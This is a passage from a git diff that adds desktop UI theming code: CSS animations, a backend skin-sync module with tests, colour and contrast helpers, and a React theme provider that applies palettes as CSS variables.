+    transform: scale(1) translateY(0);
+  }
+}
+
+@keyframes reaction-pop {
+  0% {
+    opacity: 0;
+    transform: scale(0.4);
+  }
+  60% {
+    opacity: 1;
+    transform: scale(1.18);
+  }
+  100% {
+    transform: scale(1);
+  }
+}
+
+/* Landing a reaction should feel like something — same pop shape as
+   pet-reveal-pop, scaled down for an inline glyph. */
+.reaction-pop {
+  animation: reaction-pop 260ms cubic-bezier(0.34, 1.56, 0.64, 1) both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .pet-egg,
+  .pet-egg__glow,
+  .pet-egg-shadow,
+  .pet-reveal {
+    animation: none;
+  }
+  .reaction-pop {
+    animation: none;
+  }
+  .pet-reveal {
+    opacity: 1;
+    transform: none;
+  }
+}
+
+/* Pet generation progress bar — determinate (hatch rows: done/total) or         */
+/* indeterminate (drafts, which return together so a % would just snap).         */
+/* Sliding indeterminate block for the `accent` Progress variant (pet hatch
+   flow). Color/positioning come from the primitive; this owns the animation. */
+.progress-slide {
+  width: 40%;
+  animation: progress-slide 1.15s ease-in-out infinite;
+}
+
+@keyframes progress-slide {
+  0% {
+    left: -42%;
+  }
+  100% {
+    left: 100%;
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .progress-slide {
+    animation: none;
+    left: 0;
+    width: 100%;
+    opacity: 0.4;
+  }
+}
diff --git a/ui-desktop/src/themes/backend-sync.test.ts b/ui-desktop/src/themes/backend-sync.test.ts
new file mode 100644
index 000000000..dbe126ff1
--- /dev/null
+++ b/ui-desktop/src/themes/backend-sync.test.ts
@@ -0,0 +1,109 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { $backendThemes, $pendingSkinApply, __resetBackendSkinSync, ingestBackendSkin } from './backend-sync'
+
+const skin = (name: string) => ({
+  name,
+  colors: { background: '#101020', ui_accent: '#ff33aa', banner_text: '#eeeeee' }
+})
+
+describe('ingestBackendSkin', () => {
+  beforeEach(() => __resetBackendSkinSync())
+
+  it('registers a converted skin without applying when apply=false', () => {
+    ingestBackendSkin(skin('neon'), { apply: false })
+
+    expect($backendThemes.get().neon?.name).toBe('neon')
+    expect($pendingSkinApply.get()).toBeNull()
+  })
+
+  it('applies a new skin name once', () => {
+    ingestBackendSkin(skin('neon'), { apply: true })
+
+    expect($pendingSkinApply.get()).toBe('neon')
+  })
+
+  it('does not re-apply the same skin name', () => {
+    ingestBackendSkin(skin('neon'), { apply: true })
+    $pendingSkinApply.set(null)
+    ingestBackendSkin(skin('neon'), { apply: true })
+
+    expect($pendingSkinApply.get()).toBeNull()
+  })
+
+  it('applies again when the skin name changes', () => {
+    ingestBackendSkin(skin('neon'), { apply: true })
+    $pendingSkinApply.set(null)
+    ingestBackendSkin(skin('forest'), { apply: true })
+
+    expect($pendingSkinApply.get()).toBe('forest')
+  })
+
+  it('seed does not paint, but a later same-name skin.changed applies (missed-activation recovery)', () => {
+    // Connect while display.skin is already neon: seed records the baseline
+    // without painting (never stomp the persisted desktop theme on connect).
+    ingestBackendSkin(skin('neon'), { apply: false }) // gateway.ready seed
+    expect($pendingSkinApply.get()).toBeNull()
+
+    // The activation event was missed (skin set while disconnected / backend
+    // restarted). ClawCodex re-affirms it — `clawcodex config set display.skin neon`
+    // or a `clawcodex skin set` recolor. That explicit event must repaint even
+    // though the name matches the seed.
+    ingestBackendSkin(skin('neon'), { apply: true })
+    expect($pendingSkinApply.get()).toBe('neon')
+
+    // Once applied, a repeat same-name event is a no-op again...
+    $pendingSkinApply.set(null)
+    ingestBackendSkin(skin('neon'), { apply: true })
+    expect($pendingSkinApply.get()).toBeNull()
+
+    // ...and a genuine switch still applies.
+    ingestBackendSkin(skin('forest'), { apply: true }) // ClawCodex authored a new skin
+    expect($pendingSkinApply.get()).toBe('forest')
+  })
+
+  it('a reconnect re-seed after a real apply does not downgrade the applied baseline', () => {
+    ingestBackendSkin(skin('neon'), { apply: true }) // applied for real
+    $pendingSkinApply.set(null)
+
+    ingestBackendSkin(skin('neon'), { apply: false }) // reconnect: gateway.ready re-seed
+    ingestBackendSkin(skin('neon'), { apply: true }) // repeat event (e.g. in-place recolor)
+
+    // Already painted once — the repeat must not re-apply (protects a manual
+    // desktop-side theme switch from being snapped back after a reconnect).
+    expect($pendingSkinApply.get()).toBeNull()
+  })
+
+  it('never registers default in the backend store (desktop keeps its own palette)', () => {
+    ingestBackendSkin(skin('default'), { apply: true })
+
+    expect($backendThemes.get().default).toBeUndefined()
+  })
+
+  it('does not apply default on the connect-time seed', () => {
+    ingestBackendSkin(skin('default'), { apply: false })
+
+    expect($pendingSkinApply.get()).toBeNull()
+  })
+
+  it('applies a runtime switch back to default (repaints the desktop to its own default)', () => {
+    ingestBackendSkin(skin('neon'), { apply: false }) // gateway.ready seed on some skin
+    ingestBackendSkin(skin('default'), { apply: true }) // ClawCodex switched back to default
+
+    expect($pendingSkinApply.get()).toBe('default')
+  })
+
+  it('does not shadow a built-in name but can still apply it', () => {
+    ingestBackendSkin(skin('mono'), { apply: true })
+
+    expect($backendThemes.get().mono).toBeUndefined()
+    expect($pendingSkinApply.get()).toBe('mono')
+  })
+
+  it('ignores empty payloads', () => {
+    ingestBackendSkin(undefined, { apply: true })
+    ingestBackendSkin({ name: '' }, { apply: true })
+
+    expect($pendingSkinApply.get()).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/themes/backend-sync.ts b/ui-desktop/src/themes/backend-sync.ts
new file mode 100644
index 000000000..72d434ea5
--- /dev/null
+++ b/ui-desktop/src/themes/backend-sync.ts
@@ -0,0 +1,94 @@
+/**
+ * Live skin sync from the ClawCodex backend.
+ *
+ * The backend resolves the active skin (built-in or `$CLAWCODEX_CONFIG_DIR/skins/*.yaml`)
+ * and announces it on `gateway.ready` / `skin.changed`, and answers `config.get
+ * skin` with the same payload. `ingestBackendSkin` folds that into the desktop:
+ *
+ *   1. Registers the converted theme in `$backendThemes` so it appears wherever a
+ *      built-in does — Appearance, Cmd-K, `/skin` — with no per-surface wiring
+ *      (`listAllThemes` merges this store).
+ *   2. When asked to apply (an explicit change), requests the switch via
+ *      `$pendingSkinApply`, which the ThemeProvider drains through `setTheme`.
+ *
+ * `gateway.ready` seeds the baseline WITHOUT applying, so a fresh connect never
+ * stomps the user's persisted desktop theme; only a genuine name change (ClawCodex
+ * authoring/activating a skin from a prompt, or `/skin` elsewhere) repaints.
+ */
+
+import type { ClawCodexSkin } from '@clawcodex/shared/skin'
+import { atom } from 'nanostores'
+
+import { BUILTIN_THEMES } from './presets'
+import { skinToDesktopTheme } from './skin'
+import type { DesktopTheme } from './types'
+
+/** Skins pushed by the backend, keyed by name. Merged by `listAllThemes`. */
+export const $backendThemes = atom<Record<string, DesktopTheme>>({})
+
+/** One-shot skin name the ThemeProvider should switch to (it clears this). */
+export const $pendingSkinApply = atom<string | null>(null)
+
+// Last skin name synced from the backend + whether it was ever APPLIED (vs
+// merely seeded at connect). Once applied, only a name change applies again —
+// no re-apply on repeat events, no snap-back after a manual desktop switch.
+// A `skin.changed` matching a seed-only baseline still applies: the seed
+// records without painting, so if the activation event was missed (backend
+// restart / disconnected), an explicit re-affirm must repaint, not no-op.
+let lastSynced: { applied: boolean; name: string } | null = null
+
+/** Test-only: reset the module's apply guard + registry between cases. */
+export function __resetBackendSkinSync(): void {
+  lastSynced = null
+  $backendThemes.set({})
+  $pendingSkinApply.set(null)
+}
+
+/**
+ * Fold a resolved skin into the desktop. `apply: false` (connect-time seed) only
+ * records the baseline; `apply: true` (runtime change / poll) repaints on a name
+ * change. Built-in names keep the desktop's own palette but can still be applied.
+ */
+export function ingestBackendSkin(skin: ClawCodexSkin | undefined | null, { apply }: { apply: boolean }): void {
+  const name = (skin && typeof skin === 'object' ? (skin.name ?? '') : '').trim()
+
+  if (!name) {
+    return
+  }
+
+  // `default` is "no opinion" on the PALETTE — the desktop keeps its own default
+  // (nous), so we never register a converted theme under `default`. It is still a
+  // valid apply TARGET though: a runtime switch back to `default` must repaint the
+  // desktop to its own default (setTheme normalizes `default` → nous). So we only
+  // skip the registry step here and let it flow through the apply logic below.
+  // Built-in names (mono/slate/…) already have a hand-tuned desktop palette — we
+  // never shadow it, but the name is still a valid apply target.
+  if (name !== 'default' && !BUILTIN_THEMES[name]) {
+    const theme = skinToDesktopTheme(skin as ClawCodexSkin)
+
+    if (!theme) {
+      return
+    }
+
+    const current = $backendThemes.get()
+
+    if (JSON.stringify(current[name]) !== JSON.stringify(theme)) {
+      $backendThemes.set({ ...current, [name]: theme })
+    }
+  }
+
+  if (!apply) {
+    // Connect-time seed: record without painting. A reconnect re-seed keeps an
+    // earlier real apply's flag so repeat events can't override a manual switch.
+    if (lastSynced?.name !== name || !lastSynced.applied) {
+      lastSynced = { applied: false, name }
+    }
+
+    return
+  }
+
+  if (name !== lastSynced?.name || !lastSynced.applied) {
+    lastSynced = { applied: true, name }
+    $pendingSkinApply.set(name)
+  }
+}
diff --git a/ui-desktop/src/themes/color.ts b/ui-desktop/src/themes/color.ts
new file mode 100644
index 000000000..799200deb
--- /dev/null
+++ b/ui-desktop/src/themes/color.ts
@@ -0,0 +1,148 @@
+/**
+ * Small color helpers shared by the theme context (synthesised light variants)
+ * and the VS Code theme converter (token → seed mapping).
+ *
+ * Everything works in 6-digit `#rrggbb`. `normalizeHex` is the front door for
+ * untrusted input (VS Code themes use `#rgb`, `#rgba`, `#rrggbbaa`, and named
+ * tokens), flattening alpha over a backdrop so downstream math stays simple.
+ */
+
+export function hexToRgb(hex: string): [number, number, number] | null {
+  const clean = hex.trim().replace(/^#/, '')
+
+  if (!/^[0-9a-f]{6}$/i.test(clean)) {
+    return null
+  }
+
+  return [0, 2, 4].map(i => parseInt(clean.slice(i, i + 2), 16)) as [number, number, number]
+}
+
+export const rgbToHex = ([r, g, b]: [number, number, number]): string =>
+  `#${[r, g, b]
+    .map(n =>
+      Math.round(Math.min(255, Math.max(0, n)))
+        .toString(16)
+        .padStart(2, '0')
+    )
+    .join('')}`
+
+export function mix(a: string, b: string, amount: number): string {
+  const ar = hexToRgb(a)
+  const br = hexToRgb(b)
+
+  return ar && br
+    ? rgbToHex([ar[0] + (br[0] - ar[0]) * amount, ar[1] + (br[1] - ar[1]) * amount, ar[2] + (br[2] - ar[2]) * amount])
+    : a
+}
+
+const linearize = (channel: number): number =>
+  channel <= 0.03928 ? channel / 12.92 : ((channel + 0.055) / 1.055) ** 2.4
+
+/** WCAG relative luminance (gamma-corrected), 0..1. */
+export function relativeLuminance(hex: string): number {
+  const rgb = hexToRgb(hex)
+
+  if (!rgb) {
+    return 0
+  }
+
+  const [r, g, b] = rgb.map(v => linearize(v / 255))
+
+  return 0.2126 * r + 0.7152 * g + 0.0722 * b
+}
+
+/** WCAG contrast ratio (1..21) between two hex colors. */
+export function contrastRatio(a: string, b: string): number {
+  const la = relativeLuminance(a)
+  const lb = relativeLuminance(b)
+
+  return la >= lb ? (la + 0.05) / (lb + 0.05) : (lb + 0.05) / (la + 0.05)
+}
+
+/** Returns a readable foreground (#161616 or #ffffff) for a background hex. */
+export function readableOn(hex: string): string {
+  return relativeLuminance(hex) > 0.58 ? '#161616' : '#ffffff'
+}
+
+/**
+ * Guarantee `color` reads against `bg`: if it's below `min` contrast, mix it
+ * toward white (on a dark bg) or black (on a light bg) in steps until it clears,
+ * keeping the hue as much as possible. Used so imported accents never collapse
+ * into a near-background sidebar (the "invisible label" case).
+ */
+export function ensureContrast(color: string, bg: string, min: number): string {
+  if (contrastRatio(color, bg) >= min) {
+    return color
+  }
+
+  const towards = relativeLuminance(bg) < 0.5 ? '#ffffff' : '#000000'
+  let best = color
+
+  for (let amount = 0.2; amount <= 1.0001; amount += 0.2) {
+    best = mix(color, towards, Math.min(amount, 1))
+
+    if (contrastRatio(best, bg) >= min) {
+      return best
+    }
+  }
+
+  return best
+}
+
+/** Perceptual-ish luminance in 0..1 (naive, for light/dark bucketing). */
+export function luminance(hex: string): number {
+  const rgb = hexToRgb(hex)
+
+  if (!rgb) {
+    return 0
+  }
+
+  const [r, g, b] = rgb.map(v => v / 255)
+
+  return 0.2126 * r + 0.7152 * g + 0.0722 * b
+}
+
+/**
+ * Coerce any CSS hex color VS Code themes throw at us into a flat 6-digit
+ * `#rrggbb`, compositing alpha over `backdrop`. Accepts `#rgb`, `#rgba`,
+ * `#rrggbb`, `#rrggbbaa` (with or without the leading `#`). Returns null for
+ * non-hex values (named colors, `rgb()`, etc.) so callers can fall back.
+ */
+export function normalizeHex(input: string | undefined | null, backdrop = '#000000'): string | null {
+  if (typeof input !== 'string') {
+    return null
+  }
+
+  let clean = input.trim().replace(/^#/, '')
+
+  // Expand shorthand (#rgb / #rgba) to full width.
+  if (clean.length === 3 || clean.length === 4) {
+    clean = clean
+      .split('')
+      .map(ch => ch + ch)
+      .join('')
+  }
+
+  if (!/^[0-9a-f]{6}([0-9a-f]{2})?$/i.test(clean)) {
+    return null
+  }
+
+  const rgb = hexToRgb(`#${clean.slice(0, 6)}`)
+
+  if (!rgb) {
+    return null
+  }
+
+  if (clean.length === 6) {
+    return rgbToHex(rgb)
+  }
+
+  const alpha = parseInt(clean.slice(6, 8), 16) / 255
+  const base = hexToRgb(backdrop) ?? [0, 0, 0]
+
+  return rgbToHex([
+    base[0] + (rgb[0] - base[0]) * alpha,
+    base[1] + (rgb[1] - base[1]) * alpha,
+    base[2] + (rgb[2] - base[2]) * alpha
+  ])
+}
diff --git a/ui-desktop/src/themes/context.test.tsx b/ui-desktop/src/themes/context.test.tsx
new file mode 100644
index 000000000..6b2eed910
--- /dev/null
+++ b/ui-desktop/src/themes/context.test.tsx
@@ -0,0 +1,70 @@
+import { act, cleanup, render } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { __resetBackendSkinSync, ingestBackendSkin } from './backend-sync'
+import { ThemeProvider } from './context'
+
+// The live-authoring loop: ClawCodex writes/edits one skin file and every surface
+// repaints. An in-place edit keeps the NAME — only the palette moves.
+const bloomberg = (foreground: string) => ({
+  name: 'bloomberg',
+  colors: { background: '#000000', ui_text: foreground, ui_accent: '#ff8000' }
+})
+
+const cssVar = (name: string) => window.document.documentElement.style.getPropertyValue(name)
+
+describe('ThemeProvider ← backend skin sync', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    __resetBackendSkinSync()
+  })
+
+  afterEach(cleanup)
+
+  it('applies an activated backend skin', () => {
+    render(
+      <ThemeProvider>
+        <div />
+      </ThemeProvider>
+    )
+
+    act(() => ingestBackendSkin(bloomberg('#ff9f0a'), { apply: true }))
+
+    expect(cssVar('--theme-foreground')).toBe('#ff9f0a')
+    expect(cssVar('--theme-background-seed')).toBe('#000000')
+  })
+
+  it('repaints an in-place edit of the ACTIVE skin (same name, new palette)', () => {
+    render(
+      <ThemeProvider>
+        <div />
+      </ThemeProvider>
+    )
+
+    act(() => ingestBackendSkin(bloomberg('#ff9f0a'), { apply: true }))
+    expect(cssVar('--theme-foreground')).toBe('#ff9f0a')
+
+    // Recolor the same skin file. The same-name apply guard correctly no-ops
+    // (protects manual desktop picks), so the repaint must come from the
+    // registry update reaching the active theme derivation.
+    act(() => ingestBackendSkin(bloomberg('#ff2d95'), { apply: true }))
+    expect(cssVar('--theme-foreground')).toBe('#ff2d95')
+  })
+
+  it('does not repaint an edit to an INACTIVE skin', () => {
+    render(
+      <ThemeProvider>
+        <div />
+      </ThemeProvider>
+    )
+
+    act(() => ingestBackendSkin(bloomberg('#ff9f0a'), { apply: true }))
+
+    // A different skin registered without apply (e.g. seeded on reconnect)
+    // must not touch the painted theme.
+    act(() =>
+      ingestBackendSkin({ name: 'forest', colors: { background: '#001100', ui_text: '#66ff66' } }, { apply: false })
+    )
+    expect(cssVar('--theme-foreground')).toBe('#ff9f0a')
+  })
+})
diff --git a/ui-desktop/src/themes/context.tsx b/ui-desktop/src/themes/context.tsx
new file mode 100644
index 000000000..6932c59c0
--- /dev/null
+++ b/ui-desktop/src/themes/context.tsx
@@ -0,0 +1,413 @@
+/**
+ * Desktop theme context.
+ *
+ * Applies the active theme as CSS custom properties on :root so every
+ * Tailwind utility that references a color or font-family token picks up
+ * the change automatically.
+ *
+ * Mode (light/dark/system) controls brightness; skin controls accent.
+ * The two are persisted independently. Shift+X toggles light/dark.
+ */
+
+import { useStore } from '@nanostores/react'
+import { createContext, type ReactNode, useCallback, useContext, useEffect, useMemo, useState } from 'react'
+
+import { $registryVersion } from '@/contrib/registry'
+import { matchesQuery, useMediaQuery } from '@/hooks/use-media-query'
+import { persistString, persistStringRecord, storedString, storedStringRecord } from '@/lib/storage'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+
+import { $backendThemes, $pendingSkinApply } from './backend-sync'
+import { hexToRgb, mix, readableOn } from './color'
+import { BUILTIN_THEME_LIST, DEFAULT_SKIN_NAME, DEFAULT_TYPOGRAPHY, nousTheme } from './presets'
+import type { DesktopTheme, DesktopThemeColors } from './types'
+import { $userThemes, listAllThemes, resolveTheme } from './user-themes'
+
+// Legacy global skin (pre per-profile themes). Still the inheritance fallback
+// for any profile without its own assignment, so single-profile users and old
+// installs are unaffected.
+const SKIN_KEY = 'clawcodex-desktop-theme-v2'
+const MODE_KEY = 'clawcodex-desktop-mode-v1'
+// Per-profile skin + light/dark mode assignments: { [profileKey]: value }. A
+// profile inherits the global default until it's given its own appearance.
+const PROFILE_SKINS_KEY = 'clawcodex-desktop-profile-themes-v1'
+const PROFILE_MODES_KEY = 'clawcodex-desktop-profile-modes-v1'
+// Last active profile, recorded so the boot-time paint can pick that profile's
+// theme before the gateway reports which profile actually launched.
+const LAST_PROFILE_KEY = 'clawcodex-desktop-active-profile-v1'
+const RETIRED_SKINS = new Set(['nous-light', 'default', 'gold'])
+
+export type ThemeMode = 'light' | 'dark' | 'system'
+
+const INJECTED_FONT_URLS = new Set<string>()
+
+const resolveMode = (mode: ThemeMode, systemDark = matchesQuery('(prefers-color-scheme: dark)')): 'light' | 'dark' =>
+  mode === 'system' ? (systemDark ? 'dark' : 'light') : mode
+
+const normalizeSkin = (name: string | null): string =>
+  name && resolveTheme(name) && !RETIRED_SKINS.has(name) ? name : DEFAULT_SKIN_NAME
+
+const normalizeMode = (value: string | null): ThemeMode =>
+  value === 'light' || value === 'dark' || value === 'system' ? value : 'light'
+
+// ─── Per-profile appearance persistence ─────────────────────────────────────
+// Skin and mode are each stored per profile. "default" isn't a real profile —
+// it *is* the legacy global slot, so it reads/writes the global directly. Named
+// profiles get their own entry and fall back to that global until assigned, so
+// unassigned profiles and pre-per-profile installs stay on the global value.
+const profilePref = <T extends string>(record: string, legacy: string, normalize: (v: string | null) => T) => ({
+  resolve: (profile: string): T => normalize(storedStringRecord(record)[profile] ?? storedString(legacy)),
+  assign: (profile: string, value: T): void => {
+    if (profile === 'default') {
+      persistString(legacy, value)
+    } else {
+      persistStringRecord(record, { ...storedStringRecord(record), [profile]: value })
+    }
+  }
+})
+
+export const skinPref = profilePref(PROFILE_SKINS_KEY, SKIN_KEY, normalizeSkin)
+export const modePref = profilePref(PROFILE_MODES_KEY, MODE_KEY, normalizeMode)
+
+// Last active profile — lets the boot paint pick its appearance before the
+// gateway reports which profile actually launched.
+const readBootProfileKey = () => normalizeProfileKey(storedString(LAST_PROFILE_KEY))
+const rememberActiveProfileKey = (profile: string) => persistString(LAST_PROFILE_KEY, profile)
+
+// ─── Color math (for synthesised light variants of dark-only skins) ────────
+// hexToRgb / mix / readableOn live in ./color so the VS Code converter shares
+// the exact same math.
+
+function synthLightColors(seed: DesktopTheme): DesktopThemeColors {
+  const accent = seed.colors.ring || seed.colors.primary
+  const soft = mix('#ffffff', accent, 0.1)
+  const softer = mix('#ffffff', accent, 0.06)
+  const border = mix('#ececef', accent, 0.14)
+  const midground = seed.colors.midground ?? accent
+
+  return {
+    background: '#ffffff',
+    foreground: '#161616',
+    card: '#ffffff',
+    cardForeground: '#161616',
+    muted: softer,
+    mutedForeground: mix('#6b6b70', accent, 0.16),
+    popover: '#ffffff',
+    popoverForeground: '#161616',
+    primary: accent,
+    primaryForeground: readableOn(accent),
+    secondary: soft,
+    secondaryForeground: mix('#2a2a2a', accent, 0.34),
+    accent: soft,
+    accentForeground: mix('#2a2a2a', accent, 0.34),
+    border,
+    input: mix('#e2e2e6', accent, 0.18),
+    ring: accent,
+    midground,
+    midgroundForeground: readableOn(midground),
+    destructive: '#b94a3a',
+    destructiveForeground: '#ffffff',
+    sidebarBackground: mix('#fafafa', accent, 0.05),
+    sidebarBorder: border,
+    userBubble: soft,
+    userBubbleBorder: border
+  }
+}
+
+/** Returns the seed palette for a given skin + mode (no overrides applied). */
+export function getBaseColors(skinName: string, mode: 'light' | 'dark'): DesktopThemeColors {
+  const seed = resolveTheme(skinName) ?? nousTheme
+
+  if (mode === 'dark') {
+    return seed.darkColors ?? seed.colors
+  }
+
+  return seed.darkColors ? seed.colors : synthLightColors(seed)
+}
+
+function deriveTheme(skinName: string, mode: 'light' | 'dark'): DesktopTheme {
+  const seed = resolveTheme(skinName) ?? nousTheme
+
+  return {
+    ...seed,
+    name: `${skinName}-${mode}`,
+    label: `${seed.label} ${mode === 'light' ? 'Light' : 'Dark'}`,
+    description: `${seed.label} ${mode} palette`,
+    colors: getBaseColors(skinName, mode)
+  }
+}
+
+/**
+ * Some palettes intentionally keep a bright background even when
+ * `mode === 'dark'`, so we shouldn't apply the `.dark` class. Decide from
+ * the actual background luminance.
+ */
+function renderedModeFor(colors: DesktopThemeColors, mode: 'light' | 'dark'): 'light' | 'dark' {
+  const rgb = hexToRgb(colors.background)
+
+  if (!rgb) {
+    return mode
+  }
+
+  const [r, g, b] = rgb.map(v => v / 255)
+
+  return 0.2126 * r + 0.7152 * g + 0.0722 * b > 0.5 ? 'light' : 'dark'
+}
+
+// ─── CSS application ────────────────────────────────────────────────────────
+
+// Per-mode mix knobs. Light/dark fallbacks live in styles.css `:root` /
+// `:root.dark`; setting them inline keeps active-skin overrides surviving
+// the boot-time paint.
+// styles.css --theme-neutral-chrome — keep in sync.
+const NEUTRAL_CHROME = { light: '#f3f3f3', dark: '#0d0d0e' } as const
+
+const chromeBackground = (background: string, isDark: boolean) =>
+  mix(background, NEUTRAL_CHROME[isDark ? 'dark' : 'light'], isDark ? 0.26 : 0.08)
+
+const mixesFor = (isDark: boolean): Record<string, string> => ({
+  '--theme-mix-chrome': isDark ? '74%' : '92%',
+  '--theme-mix-sidebar': '100%',
+  '--theme-mix-card': isDark ? '38%' : '22%',
+  '--theme-mix-elevated': isDark ? '46%' : '28%',
+  '--theme-mix-bubble': isDark ? '46%' : '0%'
+})
+
+function applyTheme(theme: DesktopTheme, mode: 'light' | 'dark') {
+  if (typeof document === 'undefined') {
+    return
+  }
+
+  const root = document.documentElement
+  const c = theme.colors
+  const typo = { ...DEFAULT_TYPOGRAPHY, ...nousTheme.typography, ...theme.typography }
+  const rendered = renderedModeFor(c, mode)
+  const isDark = rendered === 'dark'
+  const midground = c.midground ?? c.ring
+  const skinName = theme.name.endsWith(`-${mode}`) ? theme.name.slice(0, -mode.length - 1) : theme.name
+
+  root.style.setProperty('color-scheme', rendered)
+  root.dataset.clawcodexTheme = skinName
+  root.dataset.clawcodexMode = rendered
+  root.classList.toggle('dark', isDark)
+
+  // Brand seeds feed every glass + shadcn token via `color-mix()` in styles.css.
+  const seeds: Record<string, string> = {
+    '--theme-foreground': c.foreground,
+    '--theme-primary': c.primary,
+    '--theme-secondary': c.secondary,
+    '--theme-accent-soft': c.accent,
+    '--theme-midground': midground,
+    '--theme-warm': c.primary,
+    '--theme-background-seed': c.background,
+    '--theme-sidebar-seed': c.sidebarBackground ?? c.background,
+    '--theme-card-seed': c.card,
+    '--theme-elevated-seed': c.popover,
+    '--theme-bubble-seed': c.userBubble ?? c.popover
+  }
+
+  // shadcn/Tailwind tokens that aren't derived from the seed chain.
+  const palette: Record<string, string> = {
+    '--dt-primary-foreground': c.primaryForeground,
+    '--dt-secondary-foreground': c.secondaryForeground,
+    '--dt-accent-foreground': c.accentForeground,
+    '--dt-border': c.border,
+    '--dt-input': c.input,
+    '--dt-ring': c.ring,
+    '--dt-muted': c.muted,
+    '--dt-midground-foreground': c.midgroundForeground ?? readableOn(midground),
+    '--dt-composer-ring': c.composerRing ?? midground,
+    '--dt-destructive': c.destructive,
+    '--dt-destructive-foreground': c.destructiveForeground,
+    '--dt-sidebar-border': c.sidebarBorder ?? c.border,
+    '--dt-user-bubble-border': c.userBubbleBorder ?? c.border,
+    '--dt-font-sans': typo.fontSans,
+    '--dt-font-mono': typo.fontMono,
+    '--noise-opacity-mul': isDark ? 'calc(0.04 / 0.21)' : 'calc(0.34 / 0.21)'
+  }
+
+  for (const [k, v] of Object.entries({ ...seeds, ...mixesFor(isDark), ...palette })) {
+    root.style.setProperty(k, v)
+  }
+
+  const chromeBg = chromeBackground(c.background, isDark)
+
+  window.clawcodexDesktop?.setTitleBarTheme?.({
+    background: chromeBg,
+    foreground: c.foreground
+  })
+
+  // Raw (non-JSON) keys read by the inline pre-paint script in index.html —
+  // they let a brand-new window paint the themed background on its very first
+  // frame, before this module has even loaded.
+  try {
+    window.localStorage.setItem('clawcodex-boot-background', chromeBg)
+    window.localStorage.setItem('clawcodex-boot-color-scheme', rendered)
+  } catch {
+    // Storage may be unavailable (private mode / quota); the inline script
+    // falls back to prefers-color-scheme.
+  }
+
+  if (typo.fontUrl && !INJECTED_FONT_URLS.has(typo.fontUrl)) {
+    const link = document.createElement('link')
+    link.rel = 'stylesheet'
+    link.href = typo.fontUrl
+    link.dataset.clawcodexThemeFont = 'true'
+    document.head.appendChild(link)
+    INJECTED_FONT_URLS.add(typo.fontUrl)
+  }
+}
+
+// Pin Electron's nativeTheme to the app's mode so the NATIVE window chrome
+// (macOS vibrancy material, titlebar, pre-paint background) matches the app
+// theme instead of the OS appearance. An explicit light/dark pick is forced;
+// 'system' stays 'system' so prefers-color-scheme keeps tracking the OS.
+const syncNativeTheme = (pref: ThemeMode, rendered: 'light' | 'dark') =>
+  window.clawcodexDesktop?.setNativeTheme?.(pref === 'system' ? 'system' : rendered)
+
+// Boot-time paint to avoid a flash before <ThemeProvider> mounts. Use the last
+// active profile's appearance so a non-default profile relaunch paints its own
+// skin + light/dark mode.
+if (typeof window !== 'undefined') {
+  const profile = readBootProfileKey()
+  const pref = modePref.resolve(profile)
+  const resolved = resolveMode(pref)
+  const theme = deriveTheme(skinPref.resolve(profile), resolved)
+  applyTheme(theme, resolved)
+  syncNativeTheme(pref, renderedModeFor(theme.colors, resolved))
+}
+
+// ─── Context ────────────────────────────────────────────────────────────────
+
+interface ThemeContextValue {
+  theme: DesktopTheme
+  themeName: string
+  mode: ThemeMode
+  /** The light/dark switch the user picked. */
+  resolvedMode: 'light' | 'dark'
+  /**
+   * The mode actually painted, derived from the active background's luminance.
+   * Differs from `resolvedMode` for skins that keep a bright surface in "dark"
+   * (or vice-versa). Surface-bound UI (e.g. the terminal palette) should key off
+   * this so it matches what's on screen instead of inverting.
+   */
+  renderedMode: 'light' | 'dark'
+  availableThemes: Array<{ name: string; label: string; description: string }>
+  setTheme: (name: string) => void
+  setMode: (mode: ThemeMode) => void
+}
+
+const SKIN_LIST = BUILTIN_THEME_LIST.map(({ name, label, description }) => ({ name, label, description }))
+
+const ThemeContext = createContext<ThemeContextValue>({
+  theme: nousTheme,
+  themeName: DEFAULT_SKIN_NAME,
+  mode: 'light',
+  resolvedMode: 'light',
+  renderedMode: 'light',
+  availableThemes: SKIN_LIST,
+  setTheme: () => {},
+  setMode: () => {}
+})
+
+export function ThemeProvider({ children }: { children: ReactNode }) {
+  // Skin + mode are assigned per profile; the active profile drives which
+  // appearance shows. Single-profile users only ever see "default", so their
+  // behavior is unchanged.
+  const profileKey = normalizeProfileKey(useStore($activeGatewayProfile))
+
+  // Built-ins + user-installed + registry-contributed themes. Reactive so an
+  // import or a plugin registration shows up live in the palette, settings
+  // grid, and `/skin` without a reload.
+  const userThemes = useStore($userThemes)
+  const backendThemes = useStore($backendThemes)
+  const registryVersion = useStore($registryVersion)
+
+  const availableThemes = useMemo(
+    () =>
+      listAllThemes().map(({ name, label, description }) => ({
+        name,
+        label,
+        description
+      })),
+    // userThemes + backendThemes + registryVersion ARE listAllThemes' reactivity.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [userThemes, backendThemes, registryVersion]
+  )
+
+  const [themeName, setThemeNameState] = useState(() =>
+    typeof window === 'undefined' ? DEFAULT_SKIN_NAME : skinPref.resolve(readBootProfileKey())
+  )
+
+  const [mode, setModeState] = useState<ThemeMode>(() =>
+    typeof window === 'undefined' ? 'light' : modePref.resolve(readBootProfileKey())
+  )
+
+  // Follow profile switches: paint the profile's assigned skin + mode and
+  // remember it for the next boot's first paint.
+  useEffect(() => {
+    rememberActiveProfileKey(profileKey)
+    setThemeNameState(skinPref.resolve(profileKey))
+    setModeState(modePref.resolve(profileKey))
+  }, [profileKey])
+
+  const systemDark = useMediaQuery('(prefers-color-scheme: dark)')
+  const resolvedMode = resolveMode(mode, systemDark)
+
+  const activeTheme = useMemo(
+    () => deriveTheme(themeName, resolvedMode),
+    // deriveTheme resolves its seed through the merged registry, so the theme
+    // stores are its reactivity too — an in-place palette edit of the ACTIVE
+    // skin (live theme authoring) must repaint, not just a name switch.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [themeName, resolvedMode, userThemes, backendThemes, registryVersion]
+  )
+
+  // What actually gets painted (matches the `.dark` class applyTheme toggles).
+  const renderedMode = useMemo(() => renderedModeFor(activeTheme.colors, resolvedMode), [activeTheme, resolvedMode])
+
+  useEffect(() => applyTheme(activeTheme, resolvedMode), [activeTheme, resolvedMode])
+
